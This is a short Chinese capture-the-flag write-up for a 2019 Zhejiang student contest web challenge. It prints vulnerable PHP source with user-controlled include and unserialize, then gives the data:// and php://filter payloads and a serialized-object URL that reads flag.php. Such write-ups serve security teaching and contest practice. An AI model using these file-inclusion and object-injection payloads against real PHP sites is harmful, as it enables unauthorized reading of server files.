浙江省大学生网络与信息安全竞赛-决赛-2019-Web-逆转思维
程序员文章站
2022-05-15 14:06:04
...
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
绕过第一个if语句:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
绕过第二个if语句
&file=php://filter/read=convert.base64-encode/resource=useless.php
拿到一长串字符,是base64编码
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("HAHAHAHAHA");
}
}
}
?>
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}